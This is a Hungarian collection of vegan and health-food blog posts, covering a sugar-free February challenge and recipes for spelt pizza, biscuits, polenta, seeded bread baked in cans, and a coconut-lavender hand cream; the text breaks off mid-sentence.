Januárban már írtam a februári cukor- és édességmentes kihívásról. Jeleztem, hogy ha valaki szeretne részt venni a kihívásban, akkor kommentben jelezze. Megjegyeztem, hogy a kihívást végigcsinálók közül ki fogok választani valakit, aki valamilyen nyereményben részesül.
A téli időszakban, az évvégi ünnepek alatt nálunk megnövekszik az édesség fogyasztás. Egy kis süti itt, meg ott, egy kocka csoki vacsora után és észre sem vesszük, de egyre több édes dolgot eszünk, hogy a napsütés utáni vágyunkat valamivel kárpótoljuk. Tudom, hogy a fogadalmak, kihívások kezdete általában január szokott lenni, de mivel a hónap elején még sok a maradék sütemény az ünnepekről, így a kihívást mindig februárra időzítem tavaly óta.
Az előző évben nagyon szigorú voltam magunkkal szemben és a cukron, süteményeken, csokin kívül vegán étrendre fogtam magunkat és a nagyon édes gyümölcsöket sem engedélyeztem. Az idén nem leszek ilyen szőrös szívű... Lássuk milyen kihívások elé állítom magunkat és azokat, akik velünk tartanak.
Nem eszünk/iszunk:
- cukrot (kristály, por, nád, kókuszvirág, pálma, stb.)
- mézet
- agavé-, juhar-, rizs- és malátaszirupot
- olyan élelmiszert, amiben a fentiek előfordulnak (pékáru, ropi, kekszek, sütemények, szószok, stb.; húsevők figyeljenek, mert felvágottakban is lehet cukor)
- kávé, fekete tea, kakaó, alkoholos italok
Eszünk/iszunk:
- friss gyümölcsöket (alma, citrom, grapefruit, narancs, mandarin, kivi, banán)
- ha nagyon nem bírjuk már, akkor bekapunk egy-egy falat aszalt gyümölcsöt, olyat, ami nincsen édesítve (datolya, sárgabarack, szilva, stb.)
- fogyasztható cukormentes lekvár és olyan sütemény, amely banánnal, naranccsal, céklával, répával vagy almával lett édesítve
- víz, gyógytea, frissen facsart/centrifugázott gyümölcs- és zöldséglevek
Igyekszünk kerülni:
- tejtermékeket
- tojást
- fehér lisztből készült élesztős pékárukat
Minél többet eszünk:
- nyers zöldségekből, gyümölcsökből
- olajos magvakból: nyersen vagy pirítva sózás nélkül: mandula, dió, mogyoró, tökmag, napraforgómag, kesudió, paradió, stb.
- gabonafélék: köles, hajdina, bulgur, barnarizs, quinoa, árpagyöngy
- hüvelyesek: bab, lencse
- tofu
Heti bontásban őszintén be fogok számolni nektek a kihívásról, a csoki utáni sóvárgásról (biztos lesz ilyen :)), az ételekről, amiket fogyasztunk és az új ízekről, amiket felfedezünk. A nyereményért folyó küzdelem feltétele, hogy amikor közzé teszem a heti beszámolókat, azok, akik részt vesznek a kihívásban őszintén írják meg a bejegyzések után kommentben a saját tapasztalataikat. Azok közül fogok választani (és nem sorsolni, tehát én döntök!), akik végigcsinálják mind a négy hetet és legalább négy kommentet írnak!
Fontosnak tartom megjegyezni, hogy a témában leírtakat a saját tapasztalataimra alapozom. Ha úgy gondoljátok, hogy ti is szeretnétek kipróbálni, kérjétek ki egy szakember véleményét, tájékozódjatok a témában és saját felelősségetekre cselekedjetek.
Sok sikert mindenkinek! Hajrá!
Kapribogyós Kerti pizza - Szénhidrát csökkentett tésztával
2013. január 26. Fittanyuka Blog
A pizza mindenki kedvence, tévhit, hogy egészségtelen, csak az alapanyagoktól függ és kijelenthetjük, hogy a pizza igenis lehet egy egészséges fogás. Az alábbi pizzát a mediterrán főzőtanfolyamon készítettük el és a tészta alacsony szénhidrát és glikémiás indexének titkát hamarosan elárulom. Ezen kívül tej,-tojás,-élesztőmentes . Ha a pizzánk még ezen kívül nem tartalmaz állati zsírokat és növényi hidrogenizált zsírokat, már nagyon jó úton járunk. Ha feltétet pedig sok lúgosító,-roppanós zöldség alkotja akkor pedig telitalálat! A tészta kétféle lisztből készült, az egyik az örök kedvenc a tönköly, erről az ős gabonáról már többször írtam, hogy magas a növényi fehérje tartalma, rengeteg ásványi anyagot tartalmaz és magas sikér tartalma miatt tojás nélkül bármit elkészíthetünk belőle! Engedjétek meg, hogy bemutassak egy másik ős búzát, egyben a másik összetevőt: az alakort. Az alakor búza: Évezredeken keresztül ez az ősi gabonaféle biztosította az emberiség alapvető élelmiszer ellátását. A mai búzának csak igen távoli rokona. A mag belső sárgás színű finomlisztje a rengeteg béta-karotinnak köszönhető. Lizin mikroelem-és esszenciális aminosav-tartalma szintén magas, szénhidrát tartalma alacsony, glikémiás indexe alacsony! Antioxidáns és lutein bősége emeli pozitív élettani hatásait. Az alakorban lévő glutén nem tartalmaz alfa-gliadint, szemben a mai modern búzákkal. Ezért a legtöbb gluténérzékeny ember számára biztonságos, nem okoz allergiás reakciókat. Használatával megelőzhető a gluténérzékenység kialakulása. ( Mivel minden ember egyedi, ezért lisztérzékenység esetén először tesztelje önmagán az alakort kis mennyiségben, javasolt hogy a teszt során működjön együtt orvosával!) Átlagos tápérték 100 g-ban: Fehérje tartalma: 13,4 g Szénhidrát tartalma: 66,5 g Zsír: 1,7 g Élelmi rost: 6,7 g Hozzávalók: Tészta: 250 g világos tönköly liszt 250 g alakor finomliszt 200 ml növényi tejszín ( rizs, vagy zab, vagy -kókusz tejszín) 2 kk himalaya só 1 zacskó foszfátmentes sütőpor 1 dl víz Szósz: 450 ml paradicsom szósz friss bazsalikom levél 3 evőkanál olíva olaj 1 kk himalaya só 1 kk nyírfacukor 1 kk szárított oregáno 2 cikk préselt fokhagyma Feltét: Tetszőleges zöldségek: vöröshagyma szeletelt fokhagyma brokkoli rózsák aszalt paradicsom cukkini olíva bogyó kapribogyó növényi sajt ( soja produkt, forg: www.albaviz.hu) Mert sokan és sokszor kérdezitek:) (Azért használom mert: 100%ban génkezelés, tartósítószermentes, adalékmentes, szinezékmentes, továbbá tej,-hús,-tojás, fehér liszt, gluténmentes és nem tartalmaz hidrogenizálz növényi zsírokat sem!) A tészta összetevőiből rugalmas tésztát gyúrunk, amelyet kb.1,7 cm vastagságúra nyújtunk és olyan formára amilyen formában sütni szeretnénk a pizzánkat. Nekünk egy kb. 32 cm átmérőjű kerek pizzánk és egy szögletes kb. 20x20 cm-es pizzánk lett ebből a mennyiségből. Közben elkészítjük a szószt: az olíva olajat összekeverjük a paradicsom szósszal és a fűszerekkel, állandó kevergetés mellett főzni kezdjük, hozzáadjuk a fűszereket és a végén a préselt fokhagymát. Megkenjük vele a pizzánkat(inkat), a feltéteket a tetejére tesszük, kevés olvadós növényi sajtot és mehet az előmelegített sütőbe: 180 C fokon 20-25 percre. Tésztája finom puha, rugalmas sárgás színű és finom:). Jó étvágyat! Fittanyuka
Vaníliás búza őszibarackkal
2013. január 22. Mindennapi ételeink
Hmmm, de finom és tartalmas reggeli. :-)Úgy emlékszem, búzából készült kása még nincsen a blogon, így most ez következik. Mivel a búza lassan fő, érdemes előző este elkészíteni. Hozzávalók: 20 dkg búza kb. 1/2 l vaníliás szójatej 4 Alpro vaníliás puding 1 üveg őszibarack kompót 10 dkg nyírfacukor 5 dkg mazsola 5 dkg kókusz 1 citrom héja Elkészítés: A szójatejet felforraljuk, majd hozzáadjuk az átmosott, lecsepegtetett búzát; kókuszt, és kb. 1 óra alatt megfőzzük, amennyiben szükséges, pótoljuk az elforrt tejet. Amikor puha a búza, akkor adjuk hozzá a citromhéjat, nyírfacukrot. Ekkor botmixerrel kissé összezúzzuk, hogy a búzaszemek kissé összeragadjanak; így lesz kása-jellegű:-). A mazsolát és az apróra vágott őszibarackot ezután adjuk hozzá. Tálaláskor meglocsoljuk a vaníliás pudinggal, őszibarackkal díszítjük.
Kókuszos keksz (vegán)
2013. január 20. Mindennapi ételeink
Megint készítettem egy tepsi női szeszélyt, a szombati vendégeink számára, és kimaradt egy kevés tészta, amelyet kókusszal és Alpro növényi édes szójajoghurttal, ill. mazsolával tuningoltam; és kekszként kisütöttem. Nagyon finom csemege lett.:-) Hozzávalók: 25 dkg finomliszt 1 ek. foszfátmentes sütőpor 0,5 dl extra szűz olívaolaj / napraforgó olaj 5 dkg nyírfacukor kb. 0,5 dl víz 10 dkg kókusz 3 ek. Alpro szójajoghurt 8 dkg mazsola 5 dkg dió 1 citrom héja Elkészítés: Az hozzávalókat összevegyítve tésztát gyúrunk. (Először a száraz alapanyagokat keverjük össze, ezekhez adjuk a nedveseket (víz, joghurt, olaj), majd a mazsola és a felvágott dió következik. Lisztezett deszkán kinyújtjuk, majd köröket szaggatunk, közepükbe diót teszünk és sütőpapírral bélelt tepsiben 150 fokon kb. 15 perc alatt készre sütjük.
Vegán diós csokoládés keksz szendvics
2013. január 18. Zizi kalandjai
Mindig gondolkozom azon, hogy a címbe kitegyem-e a vegán szót, ha egy vegán receptet osztok meg. Úgy gondolom ez a szó még mindig sokakat elriaszt attól, hogy belevágjanak a sütésbe vagy főzésbe, mert azt gondolják, hogy ez valami ufo dolog és biztos olyan alapanyagok kellenek hozzá, amit macerás beszerezni. Igen, vannak olyan receptek, amelyekhez több alapanyag kell, de én hajlandó vagyok utána járni és beszerzem, ha számomra fontos. De vannak olyan receptek is, amelyeknek a hozzávalói nem igényelnek nagyobb utánajárást, sőt, lehet, hogy éppen mindenünk megvan hozzá a hűtőben és a kamrában. Persze lehet, hogy a kókuszzsír valakinek különleges dolog, nekem viszont már mindennapos élelmiszer.
Ezen elmélkedve úgy döntöttem, hogy írni fogok egy bejegyzést arról, hogy melyek azok az alapvető élelmiszerek, amelyek az én vegetáriánus konyhámban/kamrámban megtalálhatók, hogy mindig legyen esélyem egy gyors vega vacsora összedobására, ha éppen kevés az idő.
No, de most térjünk át ezekre a falatnyi finomságokra. Karácsonyra készültek és hatalmas sikerük volt. Kevés benne a cukor, teljeskiörlésű tönkölyliszt, valamint dió adja a tészta alapját egy csipetnyi fahéjjal és vaníliával fűszerezve. Lehet fogyasztani úgy is, hogy csak egy kekszre kenünk a csokoládé krémből, de össze is ragaszthatunk két kekszet a krémmel. Apró, hamm, bekaplak falatok! Gyorsan el fognak fogyni!
Vegán diós csokoládés keksz szendvics
Hozzávalók:
Kekszhez :
- 1 bögre teljeskiörlésű tönkölyliszt
- 3/4 bögre dió, darálva
- 2 teáskanál fahéj
- 1 teáskanál só
- 1 teáskanál sütőpor
- 1 vaníliarúd kikapart magjai
- 1/3 bögre nádcukor
- 1 teáskanál almaecet
- 1/4 bögre mandula/rizs/zab/szójatej
- 1/3 bögre kókuszzsír, folyékony állapotban
- 1/2 teáskanál mandula aroma (opcionális)
Csokikrémhez :
- 3/4 bögre 70%-os csokoládé
- 2 evőkanál mandula/rizs/zab/szójatej
- 1/4 bögre kókuszzsír
- csipet só
(A recepthez használt bögre 250 ml-es.)
Egy tálban keverjük össze a keksz száraz hozzávalóit: liszt, dió, fahéj, só, sütőpor. Egy másik tálban keverjük össze a nedves hozzávalókat: nádcukor, almaecet, mandulatej, kókuszzsír, mandula aroma. Öntsük a nedves hozzávalókat a szárazhoz, jól keverjük el a tésztát, formázzunk labdát belőle, csomagoljuk folpackba és tegyük a hűtőbe 15-20 percre.
Közben melegítsük elő a sütőt 180C fokra és tegyünk sütőpapírt egy tepsire.
A hűtött tésztából csípjünk le egy kis darabot, formázzunk kis golyót (pingpong labdánál kisebbet) belőle, tegyük a sütőpapírral bélelt tepsire és lapítsuk le a tenyerünkkel. A maradék tésztával is járjunk el így (nekem 36 db keksz jött ki ebből a menyiségből). Süssük kb. 15 percig, amíg aranybarnák lesznek.
Tegyük a krém hozzávalóit egy lábasba és alacsony láng felett olvasszuk meg az összes hozzávalót, közben kevergessük. Öntsük a krémet egy dobozba és tegyük hűtőbe addig, amíg kenhető állapotú lesz. A kihűlt kekszekből kenjünk meg egy darabot a krémmel és ragasszunk hozzá egy másik kekszet. Teszteljük egyből, hogy adható-e a vendégeknek vagy a családtagoknak! :)
Brokkolis polenta aszalt paradicsommal
2013. január 17. Fittanyuka Blog
A puliszkát szinte mindenki ismeri, kukorica darából készül és nagyon sokféleképpen felhasználható, édesen, sósan. Manapság hangzatosabb néven emlegetik az olasz konyhából, -nyelvből átvett polentaként. Élettanilag előnyös oldala, hogy gluténmentes, könnyen emészthető, de azért ne vigyük túlzásba a kukorica fogyasztását. Kifejezetten téli étel, a hegyvidéki emberek kedvenc tápláléka, Olaszországban északon a legelterjedtebb, Erdélyben úgyszintén, itt édes változata a málé, amelyet régóta tervezek elkészíteni, természetesen majd megosztom veletek a megreformált receptet. Hozzávalók: (3-4 fő részére) 130 g kukorica dara 1 kk himalaya só 3szoros mennyiségű víz 2 evőkanál kókusz olaj 1 kis fej brokkoli 1 cikk fokhagyma pár szem aszalt paradicsom késhegynyi őrölt szerecsendió növényi sajt a tetejére A sós vizet forralni kezdjük és amikor már éppen forr, beleszórjuk a darát és állandó keverés mellett addig főzzük ameddig besűrűsödik. Közben a brokkolit rózsáira szedjük, roppanósra pároljuk. Tipp: Ha a pároló vízbe késhegynyi szódabikarbónát teszünk akkor szép zöldek maradnak a brokkoli rózsák. Kiolajozzunk egy tepsit, a kész puliszkát ízesítjük a szerecsendióval, préselt fokhagymával, belekeverjük az 1 evőkanál kókusz olajat és beleöntjük a tepsibe. Rátesszük a tetejére a lecsöpögtetett brokkolit, aszalt paradicsomot, sajtot a tetejére és 15-20 percre a sütőbe tesszük 180 C fokon. Összesen 30 perc alatt készen is vagyunk. Én csírát, salátát ajánlok mellé. Utólag meglocsolhatjuk kedvenc hidegensajtolt olajunkkal. Fittanyuka
Darálós keksz
2013. január 17. Lét-tudatos konyha
Gyermekkorom kedvelt keksze. Jól csomagolható, sokáig eltartható. Hozzávalók: - 50 dkg liszt - 20 dkg vaj vagy növényi zsiradék (kókusz- vagy pálmazsír) - 10-12 dkg cukor - 1 csg sütőpor - 1 citrom leve Elkészítése: A hozzávalókat összegyúrjuk, kevés vizet adunk hozzá, épp csak annyit, hogy összeálljon, de ne legyen lágy. Pár órára vagy egy éjszakára hűtőbe tesszük. Másnap húsdarálóra szerelt kekszformán ledaráljuk. 200 °C-os sütőben rövid ideig sütjük. Ízesíthető másként is, a barna színűbe kakaópor vagy karob kerül, illetve fahéjas, kókuszos változat is készíthető. Másik változat: itt
Vegán datolyás Anzac keksz
2013. január 13. Mindennapi ételeink
Én is elkészítettem ezt a kekszet, amelyet már régóta kinéztem. Az ANZAC egy mozaikszó (az ausztrál és az új-zélandi hadseregek egységeiből álló katonai erő megjelölésére használt rövidítés. Az Australian and New Zealand Army Corps nevet eredetileg az ausztrál-új-zélandi hadtest kapta, amelyet röviddel az első világháború kitörése után hoztak létre és amely Gallipoli-nál partra szállva harcolt a török csapatok ellen Forrás: wikipedia), és a keksz azért kapta ezt a nevet, mert a hadsereg katonáinak feleségei ezt sütötték a távozó férjeiknek; mivel sokáig eláll, és energiadús. Szomorú belegondolni ebbe a történetbe. Azért jutott mégis eszembe, hogy én is sütök, mert férjem is rengetegszer elmegy reggel 7-8 körül és csak késő este ér haza. Ilyenkor mindig visz magával főtt élelmet, gyümölcsöt is, de gondoltam, legyen nassolnivaló is nála. A receptet Kittinél találtam, így nem is nagyon agyaltam rajta, 1-2 apróbb módosítással átvettem: köszönet érte, Kitti! :-) Hozzávalók: 10 dkg finomliszt 10 dkg kókuszreszelék 10 dkg zabpehely 10 dkg 100% extra szűz olívaolaj 2 ek. méz 5 ek. nyírfacukor 3 ek. víz 15 szem datolya Elkészítés: Kb. 5 perc alatt készül el, ezért is érdemes kipróbálni. A kókuszt, lisztet, zabpelyhet, nyírfacukrot és az olajat kimérjük. Hozzáadjuk a vizet és a mézet, majd kézzel összedolgozzuk. A datolyákat széltében kettévágjuk, és miközben gombócokat formázunk, a közepére is és a tetejére is teszünk fél-fél datolyát. Sütőpapírral kibélelt tepsibe tesszük és 150 fokon, kb. 15 perc alatt készre sütjük.
Levendulás kókusz (kéz)krém
2013. január 12. Zizi kalandjai
Alátét: 100% lenvászon anyag - Kósagabi Textiles
Igen, jól olvastátok a címet. Ez nem egyszerű levendulás kókuszkrém, hanem kézkrém! Nem tervezem, hogy a gasztroblogomat életmód blogra cserélem, de ahogyan érdekel az, hogy mit viszek be a szervezetembe, úgy érdekel az is, hogy kívülről mivel ápolom. Javaslom, hogy akit a téma érdekel, olvassa el a Sokkoló helyzetjelentés a fürdőszobából első és második részét is. Ezeken kívül még számos információ található a neten, szóval érdemes egy kicsit kutatni és olvasgatni.
Nálam leggyakoribb probléma a kézszárazság. Sokat mosogatok - igyekszem ezt kesztyűben tenni, de néha a lustaságom miatt nem veszem fel (takarításnál mindig használok kesztyűt, de azt ritkábban csinálom, mint a mosogatást, ami egy mindennapi tevékenység). Főleg hétvégenként, amikor nagy főzésben, sütésben vagyok és sok a mosogatnivaló - a következő konyhámban lesz mosogatógép, tuti! - a nap végén észreveszem, hogy teljesen ki vannak száradva a kezeim. Az utóbbi években igyekeztem jó minőségű, többnyire bio vagy természetes alapanyagokból készült kézkrémeket, olajakat használni, de ezek ellenére a szárazság a víz minősége és a kemikáliák miatt mindennapi jelenség.
Mindig érdeklődve nézem, ha valaki házilag készít egy kozmetikumot. El is mentem a linket - ha van hozzá recept - azzal a gondolattal, hogy egyszer majd megcsinálom. Elvégre ez is valamilyen kotyvasztás a konyhában, csak éppen a végeredményt külsőleg használjuk. Eddig még semmit nem próbáltam ki, pedig van olyan recept, amely igazán felkeltette az érdeklődésemet. Például ez a csokis és banános ajakápoló... jól hangzik, ugye? Nem mellesleg az ilyen házi készítmények ajándékba is kiválóak!
A krém, amelyet készítettem nem egy csodaszer, szóval ránctalanítást nem ígérek, viszont hidratáltabb bőrt igen! Nagyon-nagyon egyszerű elkészíteni és csak két alapanyag kell hozzá: kókuszzsír (én most ezt használtam és nagyon jól működött) és tiszta levendula illóolaj (például ilyen). A levendulának nyugtató, gyulladáscsökkentő, sejtregeneráló, baktériumölő és enyhén gombaölő hatása is van, melyek mind jól jönnek a kézápolásban is. Természetesen az illóolajat igény és ízlés szerint választhatjuk. Imádom a citromos dolgokat, szóval legközelebb citromolajos változatot fogok készíteni.
Levendulás kókusz (kéz)krém
Hozzávalók:
- 1 bögre kókuszzsír (puha, szobahőmérsékletű, nem túl kemény és nem is folyékony állapotban)
- 6-8 csepp levendula illóolaj
(A recepthez használt bögre 250 ml-es.)
A kókuszzsír felveréséhez kézi vagy konyhai robotgépet használjunk. Tegyük a kókuszzsírt a robotgépbe vagy egy tálba és magas fokozaton habosítsuk 8-10 percig (hihetetlen, de tényleg krémes, habos állagú lesz!). Csepegtessük bele a levendula olajat, keverjük el és már kanalazhatjuk is kis üvegbe vagy tégelyekbe a krémet. Ebből a mennyiségből kb. 200-250 ml lesz. Tartsuk szobahőmérsékleten, így megőrzi habosságát heteken át.
Jó szépülést mindenkinek!
Banántésztás kókusztekercs
Nyers, természetes alapanyagú sütiről van szó, mely tésztájának a nedvességét a banán adja, innen az elnevezés is: “banántészta”, ami nem a hagyományos értelemben vett tészta.
Nem tartalmaz lisztet egyáltalán.
A banántészta alapanyagához összegyúrjuk az alábbi hozzávalókat: 2 banán, és annyi szárazanyag, amennyit felvesz, ez kb. másfél csészényi az alábbiakból: kávédarálón megőrölt kókuszreszelék, mandulatejből megmaradt mandulaliszt (vagy őrölt mandula), kakaópor.
Mandulaliszt készítése: A mandulatej elkészítése után a leszűrt szárazanyagból készül. A nedves mandulapépet egy tálcára tesszük, majd meleg helyen (pl. radiátoron) megszárítjuk. Ha megszáradt, kávédarálóban megdaráljuk, és már készen is van az alacsonyabb zsírtartalmú mandulaliszt. Íme:
Hasonlóképpen kókusztejből megmaradt kókuszzúzalékból is készülhet kókuszliszt, az is felhasználható a sütibe.
Itt pedig az összegyúrt banán-mandulaliszt-őrölt kókuszreszelék-kakaó alapanyagokból készült “tészta”,
ami nem bomba, és nem csokis hógolyó.
Ezt a banántésztát két sütőpapír között kinyújtjuk, és megkenjük a kókuszos töltelékkel:
Kókuszos töltelék: Most nem volt itthon kesudióm, de abból a legfinomabb, legkrémesebb, így mandulát és mogyorót használtam helyette. A mandulát és mogyorót egy kis kókuszreszelékkel, mézzel, vízzel, vanília porral (elhagyható) összeturmixoltam, hogy kenhető masszát kapjak, és rákentem a kakaós banántésztára.
Feltekerjük a tekercset és a fagyasztóba tesszük egy kis időre, hogy keményebb, szeletelhető állagú legyen.
Szeletelés után tálaljuk, én aszalt áfonya lekvárt készítettem hozzá, mely úgy készült, hogy aszalt áfonyát turmixoltam össze egy kis vízzel. Nem kell édesíteni, hiszen az aszalt gyümölcs már eleve édes, koncentrált a cukortartalma. Aszalt áfonya helyett bármilyen más aszalt gyümölcsből elkészíthető. Ha teheted: cukrozatlant és kénezetlent válasz, vagy házi aszalásút.
Nem mind ketchup, ami piros.
És beszéljen a fincsi végeredmény:
Trópusi álom - gyümölcsturmix
2012. december 31. Gitta nyersétel blogja
Ezzel a finom gyümölcsturmixszal kívánok boldogságos új esztendőt minden kedves Olvasómnak! Ahogy kinézek az ablakon, minden deres... hát jöjjön egy nyári hangulatot idéző ital, ami feltölt energiával, és ha csak pár pillanatra is, de képzeletben elrepít a pálmafák alá :) Vannak finomabb élő italok, és vannak kevésbé finomak. A magas gyógyhatású, elsősorban zöldségeket (brokkoli, káposzta, zeller, stb) tartalmazó italokat a ,,haladó kategóriába szoktam sorolni, mert aki már hozzászokott a természetes ízekhez, annak ezek a nagyon zöld italok is ízleni fognak. De ez a trópusi hangulatot idéző ital teljesen más. És bár ennek is van gyógyhatása, elsősorban az íze miatt ajánlom a fogyasztását. Ha ezt megkóstolod, biztosan nem fogod elfelejteni. Figyelem! Nyugodt körülmények között, kényelmes fotelben hátradőlve, szívószállal lassan kortyolgatva kell iszogatni! Ellazult állapotban próbálj felidézni egy nyári, vagy trópusi hangulatot... hidd el, 100%-ban feltöltődve és frissen fogod folytatni a napodat egy pohár ,,trópusi álom elfogyasztása után! hozzávalók 4 személyre: 1 l híg kókusztej 1 mangó 1 banán 1 mandarin 2 karika ananász 4-5 szem datolya (vagy méz) 1 kávéskanál vanília por A datolyát áztasd be 1-2 órára, hogy megpuhuljon, és lehessen turmixolni. A kókusztejhez áztass be tiszta vízbe 15 dkg bio kókuszreszeléket legalább 3 órára. Turmixold minél simábbra, majd szűrőzsákon keresztül szűrd le, jól nyomkodd ki a levét. Finom, friss kókusztejet kaptál. A visszamaradt száraz pépet felhasználhatod édességek készítéséhez, vagy ha aszalógépben megszárítod, egy sokáig eltartható kókuszlisztet kapsz. Az így kapott kókusztejből 2-3 dl-t tölts a turmixgépbe, és keverd simára a többi hozzávalóval. Ha már teljesen krémes, akkor add hozzá a többi kókusztejet.
Rusztikus kalózkenyér (konzervben megsütve)
Kalózkenyér. Sok évvel ezelőtt, házasságunk első hónapjaiban az egyik áruházlánc polcain fedeztünk fel egy sok magvas kenyeret. Kalózkenyérnek hívtuk. Már nem emlékszem, hogy valóban ez volt a valódi neve, vagy csak mi adtuk neki. Kerek hosszúkás formában sütötték. Napraforgó, tökmag és lenmag tuti voltak benne. A neten többfelé láttam különböző gasztroblog-gyűjtő oldalakon, hogy többen megpróbálkoztak a "konzervben sütéssel". ÓÓÓ ezt nem hagyhattam ki én sem! Bár van néhány szebbnél szebb sütőformám, na de a konzerv, az valami egészen más. :) Mielőtt a receptet leírnám, el kell mondanom, hogy igazából a képen látható művek a férjem érdemei. Ugyanis ezek is "gasztro-ajándékként" karácsonyra készültek a rokonságnak. S míg Ő könnyedén (apró kis segítséggel) létrehozta ezeket a mesterműveket, addig én is el voltam foglalva egyéb karácsonyi tevékenységgel. Szóval Hölgyeim és Uraim, tekintsék meg férjem által készített kalózkenyereket. Mobilomon kikerestem a blogomról a kenyér-alapreceptjét, és csak annyit mondtam neki, hogy ez alapján biztos el tudja készíteni. Emellett még összekevertem neki egy pohárkában a magokat, amelyeket hozzáadott - kicsit megőrölve.
A recept:
Hozzávalók:
- 2,7 dkg friss élesztő
- 3,7 dl meleg víz (magok miatt több kell, mint általában)
- 25 dkg teljes kiőrlésű liszt
- 35 dkg fehér liszt (BL-55)
- 1 evőkanál olaj (magok miatt elég picit kevesebb, mint általában)
- 1 dkg só
- 3 dkg lenmag
- 3 dkg szezámmag
- 3 dkg napraforgómag
- 2 dkg tökmag
- 2 dkg dió
- 2 dkg mogyoró
Elkészítés:
A kenyérsütő üstjébe belemorzsoljuk az élesztőt, majd ráöntjük a meleg vizet.
Várunk egy rövid ideig, míg az élesztő feloldódik a víz tetejére. Ha cukrot, vagy mézet is (vagy egyéb édesítőt) raktunk hozzá, akkor az élesztő a víz felszínére kel. Ennek hiányában csak feloldódik.
Közben elővesszük a többi hozzávalót.
Mikor feloldódott az élesztő, a fenti sorrendben hozzáadjuk a többi anyagot is. Téli napokon figyeljünk arra, hogy a liszt meleg legyen. Sütés előtt érdemes a hideg kamrából (ha ott van) elővenni és a fűtőtesten kicsit melegíteni (edényben vagy papírban).
Beletesszük a kenyérsütő gépbe a hozzávalókat és a dagasztó-kelesztő programra tesszük be. Az így megkelt és elkészült nyers tésztát margarinnal vagy kókuszzsírral kikent, kevés liszttel megszórt konzervdobozban sütjük ki. Margarin vagy kókuszzsír helyett sütőpapírt is használhatunk. A konzervek jelen esetben egy barack és három babkonzerv voltak, amelyeket hetekkel ezelőtt használtam fel. Mosogatógépben fertőtlenítve mostuk el őket.
Aszalt, nyers mézeskalács
Zabtejből megmaradt törmelékből most mézeskalácsot készítettem.
Nem sütöttem, csak aszaltam néhány óra hosszat. Finom, ropogós állagú lett, ízre pedig finom kategória.
Természetesen liszt-, cukor-, tej-, margarin-, és egyéb adalékanyag mentes.
Elkészítés: Zabtejből megmaradt törmelékhez az alábbi hozzávalókat adtam: kávédarálóban finommá őrölt kókuszreszelék, zabpehely őrlemény, mézeskalács fűszerkeverék, méz, őrölt dió. Az arányok lényegtelenek, édesítés ízlés szerint. A lényeg, hogy egy gyúrható, tésztaszerű masszát kapjunk, amit kinyújtunk sodrófával két sütőpapír között, majd szaggatóval kiszaggatjuk.
Magokkal díszítjük. (pl. tökmag, napraforgó mag, szezámmag, mandula, chia mag… stb.)
Néhány óra hosszat aszaljuk (én kb. 3-4 órát aszaltam).
Jó étvágyat!
Vegán gyömbéres fűszeres keksz
2012. december 21. Zizi kalandjai
Nagy karácsonyi keksz sütésben vagyok már napok óta. Tavaly karácsonyra is nagyon sokféle készült, de sajnos éjszakába nyúlóan, így nem fotóztam le őket és ide a blogra se kerültek ki. Most igyekszem ezt pótolni és a tavaly már bevált nagyon finom kekszeket, valamint új fajtákat is, megosztani itt a blogon. Mindegyik vegán és lesz köztük olyan, amelyik gluténmentes is.
A gluténmentes sütés számomra egy teljesen új terület, de mivel többen kértétek, hogy tegyek közé gluténmentes recepteket, ezért beleásom magam a témába. Egyelőre kekszeket és süteményeket tervezek gluténmentesen készíteni.
Ezeket a kekszeket a kandírozott gyömbér, a fűszerek és a kívülről rásült nádcukor (még így sem lett igazán édes!) teszik ünnepivé. Került bele nádmelasz is, amely a nádcukor gyártása során képződik. Sötét színű, kesernyésen édes, sűrű folyadék. Már az ókorban kezdték használni gyógyító hatása miatt. Rendkívül gazdag vitaminokban, ásványi anyagokban (vas, kálcium, magnézium) és esszenciális aminosavakban. Ha nem sikerül beszerezni, nem gond, tavaly enélkül sütöttem meg ezeket a kekszeket és úgy is kiváló volt.
Gyömbéres fűszeres keksz
Hozzávalók:
- 2 bögre teljeskiörlésű tönkölyliszt
- 2 bögre tönköly fehérliszt
- 4 teáskanál őrölt gyömbér
- 1 teáskanál őrölt fahéj
- 1/2 teáskanál őrölt szegfűszeg
- 2 teáskanál szódabikarbóna
- 1 teáskanál só
- 2 evőkanál őrölt lenmag
- 6 evőkanál víz
- 1 bögre kókuszolaj
- 1/2 bögre nádcukor + kevés a kekszek bevonásához
- 2 evőkanál nádmelasz (opcionális)
- 12 evőkanál mandulatej (bármilyen más növényi tej is használható)
- 1/2 bögre kandírozott gyömbér, felaprítva
(A recepthez használt bögre 250 ml-es.)
Egy kis tálkában keverjük össze az őrölt lenmagot a vízzel és hagyjuk állni 8-10 percig, amíg zselés állagú lesz - ezzel helyettesítjük a tojást. A lenmag egyébként a legtöbb esszenciális olajat tartalmazza, amire a szervezetnek szüksége lehet, tehát még jót is teszünk magunkkal.
Közben egy tálban keverjük össze a száraz hozzávalókat: teljeskiörlésű tönkölyliszt, tönköly fehérliszt, őrölt gyömbér, fahéj, szegfűszeg, szódabikarbóna és só. Egy másik tálban keverjük el a kókuszolajat a mandulatejjel, a nádmelasszal és a nádcukorral. Öntsük hozzá a lenmagos tojást és a nedves anyagokat keverjük a szárazhoz a kandírozott gyömbérrel együtt.
Melegítsük elő a sütőt 180C fokra. Formázzunk golyókat a tésztából, a tenyerünkkel lapítsuk ki és forgassuk meg nádcukorban mindkét oldalukat. Sütőpapírral bélelt tepsire tegyük. Kb. 15-20 percig süssük, amíg aranybarnák lesznek. Fincsi!
Ebből a mennyiségből 40-50 db lesz. Dobozban 10-14 napig eltartható, ha addig egyáltalán kitart! :)
téli fagyi remake ala orange
Holnap a férjem munkahelyén karácsonyi "party" lesz. Mindenkinek ki lett adva, hogy süteményt hozzon. Egy rövid időre elhúztam ezen a szám, s először azt gondoltam, úgysem lesz időm sütni, majd veszünk valamit. Aztán kiderült, hogy mégis lesz időm sütit készíteni. S az agytekervényeim be is indultak. "Á, készítek valami egyszerű dolgot leveles tésztából". "Zabpehelyből fogok golyókat gyártani". "Egy rétes is gyorsan elkészül". Szóval valami gyorsat terveztem. Csakhogy megláttam a hosszú ideje ott árválkodó ostyalapokat a polcon. Most már jó lenne eltüntetni őket. S amikor mellettük döntöttem, azt gondoltam, ó, ez tényleg gyors lesz. Hát nem. Nem gyors, de ennél bonyolultabb és hosszabb ideig tartó, macerás sütik is léteznek. S persze le kell szögeznem, hogy mindenevő társaságnak lesz, így gondoltam, felhagyok a "reform"sütemény készítésével. Azért csak nem erőltethetem rájuk egészségmániás termékeimet. Végül is még csak nem is családtagok, és egy karácsonyi partin szerintem egészségtelenebb dolgok is vannak, mint kakaó és csokoládé. Szóval általunk már 